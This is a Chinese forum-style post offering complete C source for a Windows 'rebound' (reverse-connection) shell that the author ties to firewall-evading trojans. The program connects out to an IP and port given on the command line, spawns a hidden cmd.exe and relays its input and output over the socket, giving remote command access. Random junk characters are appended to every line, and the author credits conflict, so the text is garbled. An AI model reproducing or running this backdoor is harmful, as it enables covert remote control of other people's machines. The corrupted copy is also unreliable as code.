这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %U
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/* ============================== ahUc;S:v#
Rebound port in Windows NT v'e5j``=
By wind,2006/7 63NhD
===============================*/ ):L ; P)
#include AY(z9&;6
#include \*+-Bm:$j
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#pragma comment(lib,"wsock32.lib") yQ03&{#
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void OutputShell(); l ~C=yP(~
SOCKET sClient; J$>9UCk7B
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; svWQk9d
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void main(int argc,char **argv) 9j8<Fs0M
{ vmGGdj5aI
WSADATA stWsaData; a W9_[#z5
int nRet; 'V`Hp$r
SOCKADDR_IN stSaiClient,stSaiServer; eh6\y79g
v1`*}.#
if(argc != 3) n85d
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{ JFOXrRR=d
printf("Useage:\n\rRebound DestIP DestPort\n"); 2FxrjA
return; <tn6=IV
} n7p,{KSQ
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?l/+*/AR;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ve9*>6i&-4
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stSaiClient.sin_family = AF_INET; Nu[0X
stSaiClient.sin_port = htons(0); &a9Y4~e::
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3*C|"|lJ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )OE!vA
{ r^Mu`*x*
printf("Bind Socket Failed!\n"); w7e+~8|
return; *%aWGAu:
} Z[GeU>?P
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stSaiServer.sin_family = AF_INET; p02E:?
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @x[Arx^?}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :$f9(f&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) nl/~7({
{ g5[r!XO
printf("Connect Error!"); B(ZK\]
return; v2KK%Qy
} XNaiMpp'
OutputShell(); ><DXT nt'x
} =8W'4MC
RA3!k&8?#
void OutputShell() @UwDsx&2(t
{ p->b Vt
char szBuff[1024]; zy\R>4i'#Q
SECURITY_ATTRIBUTES stSecurityAttributes; "eH.<&
OSVERSIONINFO stOsversionInfo; P>wTp)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (&@,Z I;
STARTUPINFO stStartupInfo; =;m;r!,K
char *szShell; d#cEAy
PROCESS_INFORMATION stProcessInformation; 5 `A^"}0
unsigned long lBytesRead; 5-B % 08T
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }HLV'^"k
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); UC*\3:>'n
stSecurityAttributes.lpSecurityDescriptor = 0; l}&&f8n
stSecurityAttributes.bInheritHandle = TRUE; u?V
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); VI(2/**
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U6Xi-@XP
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \ ~uY);
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +<$b6^>!$
stStartupInfo.wShowWindow = SW_HIDE; SadffAvSA{
stStartupInfo.hStdInput = hReadPipe; M|9=B<6`7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cqZuG}VR
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GetVersionEx(&stOsversionInfo); }WM!e"
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switch(stOsversionInfo.dwPlatformId) 8=DZ;]XD.
{ `CqF&b
case 1: (>M@Ukam:
szShell = "command.com"; sV$Zf
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break; bU{lV<R,
default: `S:LuU8e
szShell = "cmd.exe"; *'\xlsp#
break; Tq,xW
} "Cn<x\E b
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); up
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send(sClient,szMsg,77,0); pUm|e5
while(1) 5K[MKfT
{ 1Farix1YDq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "H3DmsB
if(lBytesRead) y%@C-:
{ ;pVnBi
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _2wH4^Vb
send(sClient,szBuff,lBytesRead,0); V}po
} yd~}CF
else nv}z%.rRUj
{ +H6cZ,
lBytesRead=recv(sClient,szBuff,1024,0); $I4:g.gKpG
if(lBytesRead<=0) break; /~}<[6ZGCY
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mj|TWDcj+
} <}n"gk1is
} \\v1\
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return; z z2'h>
}